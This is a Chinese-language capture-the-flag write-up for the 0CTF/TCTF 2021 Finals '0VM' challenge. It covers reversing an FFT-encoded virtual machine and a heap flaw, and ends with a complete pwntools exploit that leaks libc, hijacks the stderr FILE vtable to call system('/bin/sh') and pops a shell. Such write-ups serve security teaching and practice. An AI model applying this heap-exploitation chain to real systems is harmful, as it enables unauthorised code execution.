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0CTF/TCTF 2021 Finals 0VM

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0321
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这道题目，是一个虚拟机的题目，比较难，使用了一种算法。

1.逆向部分

可以看到，题目突然来了一个这个，有点懵逼。

可以看到，这是一个switch case的操作，我们直接使用IDA自带的工具即可。

后面有一个FFT【傅里叶变换】，本着学习的态度，我们来学习一个傅里叶变换以及其逆变换

1.1 快速傅里叶变换

FFT是一种计算方法， 能够将O(n^2)的时间复杂度，变为了O(nlogn)，将一个多项式乘积转变为矩阵点乘。

知道了大概意思之后，我们开始寻找如何逆回去。网上搜索逆FFT也就是IFFT,但是由于对类型的处理不当。

我们可以看到这篇博客(33条消息) 快速傅里叶变换_sky123博客-CSDN博客，使用其中的C++代码，如下：

#include<bits/stdc++.h>
using namespace std;
const int N = 3e6 + 10;
const double PI = acos(-1);

struct Complex {
    double x, y;

    Complex operator+(const Complex &t) const {
        return {x + t.x, y + t.y};
    }

    Complex operator-(const Complex &t) const {
        return {x - t.x, y - t.y};
    }

    Complex operator*(const Complex &t) const {
        return {x * t.x - y * t.y, x * t.y + y * t.x};
    }
};

int rev[N], bit, tot;

inline void init(int n) {
    bit = __lg(n) + ((n & (-n)) != n), tot = 1 << bit;
    for (int i = 0; i < tot; i++)
        rev[i] = (rev[i >> 1] >> 1) | ((i & 1) << (bit - 1));
}

inline void FFT(Complex a[], int inv) {
    for (int i = 0; i < tot; i++)
        if (i < rev[i])swap(a[i], a[rev[i]]);
    for (int mid = 1; mid < tot; mid <<= 1) {
        Complex w1 = {cos(PI / mid), inv * sin(PI / mid)};
        for (int i = 0; i < tot; i += mid * 2) {
            Complex wk = {1, 0};
            for (int j = 0; j < mid; j++, wk = wk * w1) {
                auto x = a[i + j], y = wk * a[i + j + mid];
                a[i + j] = x + y, a[i + j + mid] = x - y;
            }
        }
    }
}

int n, m;
Complex a[N], b[N];

int main() {
    scanf("%d%d", &n, &m);
    for (int i = 0; i <= n; i++)scanf("%lf", &a[i].x);
    for (int i = 0; i <= m; i++)scanf("%lf", &b[i].x);
    init(n + m + 1);
    FFT(a, 1), FFT(b, 1);
    for (int i = 0; i < tot; i++)a[i] = a[i] * b[i];
    FFT(a, -1);
    for (int i = 0; i <= n + m; i++)
        printf("%d%c", int(a[i].x / tot + 0.5), i == n + m ? '\n' : ' ');
    return 0;
}

可以看到，在main函数中：

  • 首先输入了两个多项式
  • 然后对两个多项式进行FFT变换，然后进行乘积
  • 乘积结束之后，使用IFFT将其转换为多项式

然后我们来看一下0VM IDA的代码：


可以看到，要求我们输入了一个多项式，然后对其进行FFT变换。

然后由于精度的原因，使用lround对实部进行取整操作。那么现在我们可以使用上面那个模板的IFFT。我们只要先对我们需要输入的数据，进行IFFT操作，之后0VM会对我们的数据进行FFT，这样之后，我们就可以得到我们想要输入的数据。但是进行IFFT操作有以下问题：

  • IFFT操作是C++写的，但是我们的exp是用Python写的
    • 答：可以使用wrapper，也即python调用C++，并得到它的输出
  • 我们如何将一个double类型的数据，以%p的形式输出：
    • 答：先得到它的void *类型的指针，然后将其转化为long long *类型的操作，之后进行取值*操作。

得到IFFT的main函数如下：

int main() {
    n = 64;
    m = 64;

    for (int i = 0; i < n; i++){
        scanf("%lf", &a[i].x);
    }

    init(n);

    FFT(a, -1);

    for (int i = 0; i < 64; i++)
    {
        void * res = (void *)&a[i].x;
        printf("%p\n", *(long long *)res);
    }
    return 0;
}

这样便可以得到了

1.2 虚拟机逆向

经过上面的分析，我们可以控制虚拟机的指令，下面我们来把这个虚拟机给逆向出来。

下面我们来分析一下我们逆向的结果：

  • vm_mov_r_op：是将一个寄存器【全局变量，抽象为寄存器】，写入任意一个值
  • vm_mov_mm_r：将寄存器的值写入到mmap_addr[index]中，要求对应的mask为1
  • vm_mov_r_mm：将mmap_addr[index]对应的值写入到对应的寄存器中。
  • vm_add_r_r：是将两个寄存器相加，返回到rax中。
  • vmf
    • case 1：输出mmap中对应的值，要求对应的mask为1
    • case 2：申请内存以及类似的free功能
      • 如果mmap_addr中没有对应的值，则分配堆块
      • 如果有对应的值，则置第一个不为0的mask[i]为1.
        • 这里可以通过多次操作，使其mask为1
  • case 3：链入堆块，随便链进。但是这里的mask需要为0
    • 有一个很奇怪的地方，这里是先将mask置为0，然后进行判断的。说明这里存在一个漏洞，可以将某一地址进行写0操作。

其他需要注意点的

  • index为offset的后8位
  • mask为mask = (unsigned int)offset / (16 * index);
    • 【可以控制，注意offset是int】
  • 在除vmf2之外的函数都是通过前32位表示index，后32位表示距离mmap_ptr的偏移【而mask是和偏移相对应的】。
  • vmf2：个人理解为一个类似于free&add的操作，也是通过一个offset同时表示的index和mask的。

 

2.漏洞利用

经过我们前面的分析目前我们已知一个漏洞：

  • 能在mask为0的条件下，写限制范围内地址为0.

可以看到，这个漏洞很难用，肯定是要与其他漏洞配合使用的。

我们这里注意一下，这里有一个链表操作，而且不管是取链和入链操作都没有置0。很自然的可以想到直接泄露地址。

根据vm3链尾入链的操作，可以很自然的想到将尾链中的地址写一个值，这样可以造成任意地址写一个特定值【一般来说这中操作类似于large bin attack，如果这里成立的话，一般情况下，我们可以使用house of banana等其他操作来getshell了】。

但是这里写值的时候，发现这里的mask置0了，也就是我们无法写了。

这时候我们可以想到第一个漏洞，写限制范围内地址为0。

复现的时候这里卡了很久…..。

其实这里的限制地址写0，可以部分写，不需要8字节对齐，这样，我们可以部分写我们的倒数第二条尾链，使其指向我们构造好的地址，这样便可以往任意地址写一个特定值了。

我们在上面提到过，可以使用house of banana的操作，来进行getshell，并且题目显示调用exit()，理论上是可行的，但是由于题目限制输入比较多，可能会比较麻烦，有兴趣的小伙伴可以试试。

这里我们使用另外一种方法：往mmap_addr中写入一个地址，这样可以伪造一个结构体，进而造成任意地址写。

任意写之后，就简单了，不加说明了。

EXP如下：

#-*- coding:utf8 -*-
from pwn import *
# import numpy as np
import subprocess
import math
context.os="linux"
context.arch="amd64"
context.word_size=64
context.endian="little"
context.log_level="debug"
#context.terminal = ['tmux', 'splitw', '-v']
local = True
pc="./0VM"
libc_mote = "/home/tzz/pwn16/libc-2.23.so"
ld_mote = "/home/tzz/pwn16/ld-2.23.so"
elf = ELF(pc)
remote_addr=["123.123.123.123",12345]
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
h64 = lambda :u64(p.recvn(6).ljust(8,"\x00"))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
s64 = lambda :int(p.recvline()[:-1],16)#string about
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
shell= lambda :p.interactive()
p=None
if local==True:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p=process(pc)
    #gdb.attach(("127.0.0.1", 1234), "set sysroot ./root", exe="./channel")

    #gdb.attach(p, "b *'$'rebase(0xdd9)")
else:
    p=remote(remote_addr[0],remote_addr[1])
    libc = ELF(libc_mote)

def wrap(choice,arg1,arg2,arg3):
    cmd = "./IFFT"
    tmp = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    lines = ""
    lines+= str(choice)+" "
    lines+= str(arg1)+" "
    lines+= str(arg2)+" "
    lines+= str(choice)+" "
    # print(hex(arg3))
    for i in range(8):
        t = str((arg3 >> (i*8))&0xff )+" "
        # print(t)
        lines+= t#str((arg3 > (i*8))&0xff )+" "
    for i in range(64-4-8):
        lines+= str(0)+" "
    tmp.stdin.write(lines)
    out = tmp.communicate()
    res = out[0].split("\n")
    res1 =""
    for i in range(64):
        if(res[i]=="(nil)"):
            res1 = res1+p64(0)
            continue
        res1 = res1+ p64(int(res[i],16))
        # sn()
    sn(res1)


def vm_mov_r_op(r,value):
    # if(value=="/bin/sh\x00"):
    wrap(math.log(2,2),r,0, value)

def vm_mov_mm_r(offset,r):
    wrap(math.log(3,2), r, 0, offset)

def vm_mov_r_mm(r,offset):
    wrap(math.log(4,2), r, 0, offset)

def vm_add_r_r(r1, r2):
    wrap(math.log(5,2), r1, r2, 0)

def write(offset):
    wrap(math.log(0xa0,2), 1, 0, offset)

def vmf2(offset):#malloc & free
    wrap(math.log(0xa0,2), 2, 0, offset)

def vmf3(offset):#add 
    wrap(math.log(0xa0,2), 3, 0, offset)



if __name__ == "__main__":
    ru("  ###     ###     ###      #    #     #")

    index = 0x4
    vmf2(4<<4) 
    for i in range(0x10):
        vmf2(4<<4)
    offset1 = 4<<32 |0x40 #mask = 1 head.l = 1  
    vmf3(offset1)
    offset2 = 4<<32 |0x80 #mask = 2 head.l = 0x80 
    vmf3(offset2)

    #free; set = mask = 1 
    vmf2(0x40)
    write(4<<32 |0x40)
    libc_addr =  l64()-0x34d080
    lg("libc_addr")
    addr =libc_addr + 0x37a000


    #target_index = 0x5 ; 0x7f342f890028
    target_addr = addr + 0x28
    offset1 = 4<<32 | 0x180 #mask = 6
    vmf3(offset1)       # 080 -> 180 ->0
    offset4 = 4<<32 | 0x40 
    vmf3(offset4)       # 080 -> 180 ->40
    vm_mov_r_op(1, target_addr)
    offset2 = 4<<32 | 0x100
    vm_mov_mm_r(offset2, 1)
    #off_by_one
    offset3 = 4<<32 | 0x79
    vmf3(offset3)       # 080 -> 180 ->40
    # write addr in target_addr
    offset1 = 4<<32 | 0x200
    vmf3(offset1)       # 080 -> 180 ->40->0x200
    #free in order to write head+mmap_ptr+mask
    for i in range(4):
        vmf2(0x40)
    stderr =  libc_addr + libc.sym["_IO_2_1_stderr_"]
    vtable = libc_addr + libc.sym["_IO_file_jumps"]#0x18 to write
    system = libc_addr + libc.sym["system"]
    #write mmap_ptr
    vm_mov_r_op(1,vtable)
    offset =  4<<32 | 0x200
    vm_mov_mm_r(offset, 1)

    #write mask
    vm_mov_r_op(1,0x0101010101010101)
    offset = 4<<32 | 0x210
    vm_mov_mm_r(offset, 1)

    # write system in vtable
    vm_mov_r_op(1,system)
    offset = 5<<32 | 0x18
    vm_mov_mm_r(offset, 1)


    #write binsh
    vm_mov_r_op(1,stderr)
    offset =  4<<32 | 0x200
    vm_mov_mm_r(offset, 1)
    binsh = 0x68732f6e69622f
    vm_mov_r_op(1,binsh)
    offset = 5<<32 | 0
    vm_mov_mm_r(offset, 1)
    # broke buf
    vm_mov_r_op(1,1)
    offset =  5<<32 | 0x20
    vm_mov_mm_r(offset, 1)

    #exit
    wrap(math.log(0xa0,2), 4, 0, 0)

    p.interactive()

wrapper如下：

#include<bits/stdc++.h>
using namespace std;
const int N = 3e6 + 10;
const double PI = acos(-1);

struct Complex {
    double x, y;

    Complex operator+(const Complex &t) const {
        return {x + t.x, y + t.y};
    }

    Complex operator-(const Complex &t) const {
        return {x - t.x, y - t.y};
    }

    Complex operator*(const Complex &t) const {
        return {x * t.x - y * t.y, x * t.y + y * t.x};
    }
};

int rev[N], bit, tot;

inline void init(int n) {
    bit = __lg(n) + ((n & (-n)) != n), tot = 1 << bit;
    for (int i = 0; i < tot; i++)
        rev[i] = (rev[i >> 1] >> 1) | ((i & 1) << (bit - 1));
}

inline void FFT(Complex a[], int inv) {
    for (int i = 0; i < tot; i++)
        if (i < rev[i])swap(a[i], a[rev[i]]);
    for (int mid = 1; mid < tot; mid <<= 1) {
        Complex w1 = {cos(PI / mid), inv * sin(PI / mid)};
        for (int i = 0; i < tot; i += mid * 2) {
            Complex wk = {1, 0};
            for (int j = 0; j < mid; j++, wk = wk * w1) {
                auto x = a[i + j], y = wk * a[i + j + mid];
                a[i + j] = x + y, a[i + j + mid] = x - y;
            }
        }
    }
}

int n, m;
Complex a[N], b[N];

int main() {
    n = 64;
    m = 64;

    for (int i = 0; i < n; i++){
        scanf("%lf", &a[i].x);
    }

    init(n);

    FFT(a, -1);

    for (int i = 0; i < 64; i++)
    {
        void * res = (void *)&a[i].x;
        printf("%p\n", *(long long *)res);
    }
    return 0;
}